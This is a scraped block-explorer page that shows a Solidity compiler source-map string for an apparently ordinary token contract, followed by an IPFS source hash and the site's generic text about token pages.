1;22397:12:0;;:16;;22412:1;22397:16;:::i;:::-;22381:32;;22032:397;22011:418;22455:13;;22452:173;;22530:4;22512:24;;;;:9;:24;;;;;;:39;;22541:9;22512:28;:39::i;:::-;22503:4;22485:24;;;;:9;:24;;;;;;;:66;;;;22571:42;;-1:-1:-1;;;;;22571:42:0;;;-1:-1:-1;;;;;;;;;;;22571:42:0;;;22603:9;1819:25:1;;1807:2;1792:18;;1673:177;22571:42:0;;;;;;;;22452:173;22644:56;22655:44;22685:13;22655:25;:9;22669:10;22655:13;:25::i;:44::-;22644:6;;:10;:56::i;:::-;22637:63;20891:1817;-1:-1:-1;;;;;;;20891:1817:0:o;1833:250::-;1891:7;1915:1;1920;1915:6;1911:47;;-1:-1:-1;1945:1:0;1938:8;;1911:47;1970:9;1982:5;1986:1;1982;:5;:::i;:::-;1970:17;-1:-1:-1;2015:1:0;2006:5;2010:1;1970:17;2006:5;:::i;:::-;:10;1998:56;;;;-1:-1:-1;;;1998:56:0;;10119:2:1;1998:56:0;;;10101:21:1;10158:2;10138:18;;;10131:30;10197:34;10177:18;;;10170:62;-1:-1:-1;;;10248:18:1;;;10241:31;10289:19;;1998:56:0;9917:397:1;2091:132:0;2149:7;2176:39;2180:1;2183;2176:39;;;;;;;;;;;;;;;;;:3;:39::i;19697:658::-;19847:16;;;19861:1;19847:16;;;;;;;;19823:21;;19847:16;;;;;;;;;;-1:-1:-1;19847:16:0;19823:40;;19892:4;19874;19879:1;19874:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19874:23:0;;;:7;;;;;;;;;;:23;;;;19918:15;;:22;;;-1:-1:-1;;;19918:22:0;;;;:15;;;;;:20;;:22;;;;;19874:7;;19918:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19908:4;19913:1;19908:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19908:32:0;;;:7;;;;;;;;;:32;19985:15;;19953:62;;19970:4;;19985:15;20003:11;19953:8;:62::i;:::-;20054:15;;:240;;-1:-1:-1;;;20054:240:0;;-1:-1:-1;;;;;20054:15:0;;;;:66;;:240;;20135:11;;20054:15;;20205:4;;20232;;20268:15;;20054:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20312:35;20329:11;20342:4;20312:35;;;;;;;:::i;:::-;;;;;;;;19752:603;19697:658;:::o;15564:126::-;15656:26;;-1:-1:-1;;;;;15656:18:0;;;:26;;;;;15675:6;;15656:26;;;;15675:6;15656:18;:26;;;;;;;;;;;;;;;;;;;;;15564:126;;:::o;20363:520::-;20543:15;;20511:62;;20528:4;;-1:-1:-1;;;;;20543:15:0;20561:11;20511:8;:62::i;:::-;20616:15;;;20820:14;;20616:259;;-1:-1:-1;;;20616:259:0;;20688:4;20616:259;;;12570:34:1;12620:18;;;12613:34;;;20616:15:0;12663:18:1;;;12656:34;;;12706:18;;;12699:34;-1:-1:-1;;;;;20820:14:0;;;12749:19:1;;;12742:44;20849:15:0;12802:19:1;;;12795:35;20616:15:0;;:31;;20655:9;;12504:19:1;;20616:259:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;20363:520;;:::o;22716:321::-;22830:17;;22816:10;;:31;22813:43;;22716:321;;:::o;22813:43::-;22903:11;;-1:-1:-1;;;;;22903:11:0;22893:22;;;;:9;:22;;;;;;:35;;22920:7;22893:26;:35::i;:::-;22878:11;;-1:-1:-1;;;;;22878:11:0;22868:22;;;;:9;:22;;;;;:60;22952:10;;:23;;22967:7;22952:14;:23::i;:::-;22939:10;:36;23008:11;;22991:38;;1819:25:1;;;-1:-1:-1;;;;;23008:11:0;;;;22991:38;;;-1:-1:-1;;;;;;;;;;;22991:38:0;1807:2:1;1792:18;22991:38:0;;;;;;;22716:321;;:::o;2231:278::-;2317:7;2352:12;2345:5;2337:28;;;;-1:-1:-1;;;2337:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2376:9:0;2388:5;2392:1;2388;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1855:316::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;-1:-1:-1;;2040:23:1;;;2110:2;2095:18;;2082:32;;-1:-1:-1;2161:2:1;2146:18;;;2133:32;;1855:316;-1:-1:-1;1855:316:1:o;2176:456::-;2253:6;2261;2269;2322:2;2310:9;2301:7;2297:23;2293:32;2290:52;;;2338:1;2335;2328:12;2290:52;2377:9;2364:23;2396:31;2421:5;2396:31;:::i;:::-;2446:5;-1:-1:-1;2503:2:1;2488:18;;2475:32;2516:33;2475:32;2516:33;:::i;:::-;2176:456;;2568:7;;-1:-1:-1;;;2622:2:1;2607:18;;;;2594:32;;2176:456::o;3034:180::-;3093:6;3146:2;3134:9;3125:7;3121:23;3117:32;3114:52;;;3162:1;3159;3152:12;3114:52;-1:-1:-1;3185:23:1;;3034:180;-1:-1:-1;3034:180:1:o;3219:247::-;3278:6;3331:2;3319:9;3310:7;3306:23;3302:32;3299:52;;;3347:1;3344;3337:12;3299:52;3386:9;3373:23;3405:31;3430:5;3405:31;:::i;3471:160::-;3536:20;;3592:13;;3585:21;3575:32;;3565:60;;3621:1;3618;3611:12;3565:60;3471:160;;;:::o;3636:315::-;3701:6;3709;3762:2;3750:9;3741:7;3737:23;3733:32;3730:52;;;3778:1;3775;3768:12;3730:52;3817:9;3804:23;3836:31;3861:5;3836:31;:::i;:::-;3886:5;-1:-1:-1;3910:35:1;3941:2;3926:18;;3910:35;:::i;:::-;3900:45;;3636:315;;;;;:::o;3956:180::-;4012:6;4065:2;4053:9;4044:7;4040:23;4036:32;4033:52;;;4081:1;4078;4071:12;4033:52;4104:26;4120:9;4104:26;:::i;4141:388::-;4209:6;4217;4270:2;4258:9;4249:7;4245:23;4241:32;4238:52;;;4286:1;4283;4276:12;4238:52;4325:9;4312:23;4344:31;4369:5;4344:31;:::i;:::-;4394:5;-1:-1:-1;4451:2:1;4436:18;;4423:32;4464:33;4423:32;4464:33;:::i;:::-;4516:7;4506:17;;;4141:388;;;;;:::o;4534:380::-;4613:1;4609:12;;;;4656;;;4677:61;;4731:4;4723:6;4719:17;4709:27;;4677:61;4784:2;4776:6;4773:14;4753:18;4750:38;4747:161;;4830:10;4825:3;4821:20;4818:1;4811:31;4865:4;4862:1;4855:15;4893:4;4890:1;4883:15;4747:161;;4534:380;;;:::o;4919:356::-;5121:2;5103:21;;;5140:18;;;5133:30;5199:34;5194:2;5179:18;;5172:62;5266:2;5251:18;;4919:356::o;6495:127::-;6556:10;6551:3;6547:20;6544:1;6537:31;6587:4;6584:1;6577:15;6611:4;6608:1;6601:15;6627:125;6692:9;;;6713:10;;;6710:36;;;6726:18;;:::i;8742:128::-;8809:9;;;8830:11;;;8827:37;;;8844:18;;:::i;9382:135::-;9421:3;9442:17;;;9439:43;;9462:18;;:::i;:::-;-1:-1:-1;9509:1:1;9498:13;;9382:135::o;9522:168::-;9595:9;;;9626;;9643:15;;;9637:22;;9623:37;9613:71;;9664:18;;:::i;9695:217::-;9735:1;9761;9751:132;;9805:10;9800:3;9796:20;9793:1;9786:31;9840:4;9837:1;9830:15;9868:4;9865:1;9858:15;9751:132;-1:-1:-1;9897:9:1;;9695:217::o;10451:127::-;10512:10;10507:3;10503:20;10500:1;10493:31;10543:4;10540:1;10533:15;10567:4;10564:1;10557:15;10583:251;10653:6;10706:2;10694:9;10685:7;10681:23;10677:32;10674:52;;;10722:1;10719;10712:12;10674:52;10754:9;10748:16;10773:31;10798:5;10773:31;:::i;10839:461::-;10892:3;10930:5;10924:12;10957:6;10952:3;10945:19;10983:4;11012:2;11007:3;11003:12;10996:19;;11049:2;11042:5;11038:14;11070:1;11080:195;11094:6;11091:1;11088:13;11080:195;;;11159:13;;-1:-1:-1;;;;;11155:39:1;11143:52;;11215:12;;;;11250:15;;;;11191:1;11109:9;11080:195;;;-1:-1:-1;11291:3:1;;10839:461;-1:-1:-1;;;;;10839:461:1:o;11305:582::-;11604:6;11593:9;11586:25;11647:6;11642:2;11631:9;11627:18;11620:34;11690:3;11685:2;11674:9;11670:18;11663:31;11567:4;11711:57;11763:3;11752:9;11748:19;11740:6;11711:57;:::i;:::-;-1:-1:-1;;;;;11804:32:1;;;;11799:2;11784:18;;11777:60;-1:-1:-1;11868:3:1;11853:19;11846:35;11703:65;11305:582;-1:-1:-1;;;11305:582:1:o;11892:332::-;12099:6;12088:9;12081:25;12142:2;12137;12126:9;12122:18;12115:30;12062:4;12162:56;12214:2;12203:9;12199:18;12191:6;12162:56;:::i;:::-;12154:64;11892:332;-1:-1:-1;;;;11892:332:1:o;12841:306::-;12929:6;12937;12945;12998:2;12986:9;12977:7;12973:23;12969:32;12966:52;;;13014:1;13011;13004:12;12966:52;13043:9;13037:16;13027:26;;13093:2;13082:9;13078:18;13072:25;13062:35;;13137:2;13126:9;13122:18;13116:25;13106:35;;12841:306;;;;;:::o

Swarm Source

ipfs://49cb1e4787d6e036bdf667e96bdaaf7ced6814fc632c658b208ea90ceddf31a6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.